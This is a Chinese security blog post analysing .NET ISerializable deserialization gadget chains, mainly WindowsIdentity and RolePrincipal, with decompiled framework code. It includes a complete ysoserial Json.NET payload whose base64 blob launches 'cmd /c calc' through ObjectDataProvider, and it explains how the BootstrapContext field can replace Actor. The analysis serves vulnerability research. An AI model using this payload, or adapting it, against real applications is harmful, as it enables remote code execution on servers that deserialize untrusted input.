ISerializable有哪些链:
-
System.Web.Security.RolePrincipal
-
System.Security.Principal.WindowsIdentity
-
System.Security.Principal.WindowsPrincipal
-
Microsoft.IdentityModel.Claims.WindowsClaimsIdentity
-
System.IdentityModel.Tokens.SessionSecurityToken
这些链均具有一个相同的特点,那就是全部实现了ISerializable
接口。
ISerializable接口介绍:
微软官方文档的介绍,说的很简单,我也看不懂:
允许对象控制其自己的序列化和反序列化过程。
但我们可以自己实现一个demo来进行观察ISerializable接口序列化与反序列化的过程Person类:
[Serializable]
public class Person : ISerializable{
public string FirstName { get; set; }
public string LastName { get; set; }
public string Name { get; set; }
public Person() { }
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("GetObjectData");
info.AddValue("Name", this.Name);
if (!string.IsNullOrWhiteSpace(this.Name))
{
info.AddValue("FirstName", this.Name.Split(' ')[0]);
info.AddValue("LastName", this.Name.Split(' ')[1]);
info.AddValue("xxoo", "Hello Hack");
}
}
}
main函数:
static void Main(string[] args)
{
Person person = new Person { Name = "小 红" };
string seriaData = JsonConvert.SerializeObject(person);
Console.WriteLine(seriaData);
Person personInfo = JsonConvert.DeserializeObject<Person>(seriaData);
Console.Read();
}
在运行代码后我们得到以下输出:
GetObjectData
{"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}
由上得出结论:
-
info.AddValue会被反序列化
-
当实现ISerializable接口的类被序列化时会自动调用GetObjectData类来控制序列化的内容。
但在我查阅资料的过程中还发现了如下解释:
但与其他接口不同的是,为了Deserialization,我们还必须实现一个特殊的构造函数(我称此构造函数为“序列化构造函数”),此构造函数具有与GetObjectData相同的参数列表。
根据上面的说法,我们将Person类的代码改为:
[Serializable]
public class Person : ISerializable
{
public string FirstName { get; set; }
public string LastName { get; set; }
public string Name { get; set; }
public Person() { }
protected Person(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("UserInfo被执行了!!!");
Name = info.GetString("Name");
FirstName = info.GetString("FirstName");
LastName = info.GetString("LastName");
}
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
Console.WriteLine("GetObjectData");
info.AddValue("Name", this.Name);
if (!string.IsNullOrWhiteSpace(this.Name))
{
info.AddValue("FirstName", this.Name.Split(' ')[0]);
info.AddValue("LastName", this.Name.Split(' ')[1]);
info.AddValue("xxoo", "Hello Hack");
}
}
}
Main函数的代码不变,由此输出结果为:
GetObjectData
{"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}
UserInfo被执行了!!!
做完上面的实验后,我们得出结论:在继承ISerializable接口后,序列化时会执行GetObjectData函数,反序列化时会自动调用与GetObjectData函数同样参数的构造函数。
System.Security.Principal.WindowsIdentity
现在我们在来看WindowsIdentity链,首先给出ysoserial.exe的WindowsIdentity链:
{
'$type': 'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'System.Security.ClaimsIdentity.actor': 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAsgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L'
}
首先查看WindowsIdentity的定义:
public class WindowsIdentity : ClaimsIdentity, ISerializable, IDeserializationCallback, IDisposable
既然我们刚刚了解了ISerializable接口的使用,所以我们现在只需要寻找GetObjectData函数同样参数的构造函数,代码如下:
public WindowsIdentity(SerializationInfo info, StreamingContext context)
: this(info)
{
}
跟进重载后的函数:
private WindowsIdentity(SerializationInfo info)
: base(info)
{
m_claimsInitialized = false;
IntPtr intPtr = (IntPtr)info.GetValue("m_userToken", typeof(IntPtr));
if (intPtr != IntPtr.Zero)
{
CreateFromToken(intPtr);
}
}
此函数调用了父类的构造函数,继续跟进:
[SecurityCritical]
protected ClaimsIdentity(SerializationInfo info)
{
if (info == null)
{
throw new ArgumentNullException("info");
}
Deserialize(info, default(StreamingContext), useContext: false);
}
到这里发现父类中的构造函数调用了反序列化Deserialize
,查看函数定义:
我们发现函数首先调用了SerializationInfoEnumerator enumerator = info.GetEnumerator();
,这个GetEnumerator方法其实就是遍历Info中的值,他会将你反序列化时所有的值载入进去。最终发现在以下分支存在反序列化的操作:
-
System.Security.ClaimsIdentity.actor
case "System.Security.ClaimsIdentity.actor":
{
using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.actor"))))
{
m_actor = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);
}
break;
}
-
System.Security.ClaimsIdentity.claims
case "System.Security.ClaimsIdentity.claims":
DeserializeClaims(info.GetString("System.Security.ClaimsIdentity.claims"));
break;
-
System.Security.ClaimsIdentity.bootstrapContext
case "System.Security.ClaimsIdentity.bootstrapContext":
{
using (MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.bootstrapContext"))))
{
m_bootstrapContext = binaryFormatter.Deserialize(serializationStream, null, fCheck: false);
}
break;
}
查看上诉所说的几个属性中claims是没有set方法的,所以是不能够利用的。剩下两个是存在set方法:
public ClaimsIdentity Actor
{
get
{
return m_actor;
}
set
{
if (value != null && IsCircular(value))
{
throw new InvalidOperationException(Environment.GetResourceString("InvalidOperationException_ActorGraphCircular"));
}
m_actor = value;
}
}
public object BootstrapContext
{
get
{
return m_bootstrapContext;
}
[SecurityCritical]
set
{
m_bootstrapContext = value;
}
}
那么这里就ysoseril生成的payload中就可以不使用Actor而使用BootstrapContext了。在分析完这个链后,我们还可以总结出规律:所有实现了ISerializable类且继承至System.Security.Claims.ClaimsIdentity类的方法均可以作为入口链的使用
System.Web.Security.RolePrincipal:
在分析完WindowsIdentity链后其他的链其实都已经不用分析了。以下所有的链分析都可以基于上面的模板进行分析:
-
查看
SerializationInfo info, StreamingContext context
构造函数:
protected RolePrincipal(SerializationInfo info, StreamingContext context)
: base(info, context)
{
...省略...
}
跟进base:
[SecurityCritical]
protected ClaimsPrincipal(SerializationInfo info, StreamingContext context)
{
if (info == null)
{
throw new ArgumentNullException("info");
}
Deserialize(info, context);
}
跟进Deserialize函数:
Identities属性:
public virtual IEnumerable<ClaimsIdentity> Identities => m_identities.AsReadOnly();
DeserializeIdentities函数:
总结:
一路通则路路通,索然无味了起来
参考连接:
https://www.anquanke.com/post/id/172920#h3-5
https://blog.csdn.net/u011877729/article/details/10756397
来源:先知
欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)
当才华支撑不住你的野心时
你就应该静下心来读书学习
原文始发于微信公众号(衡阳信安):dotNet 反序列化ISerializable系列链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论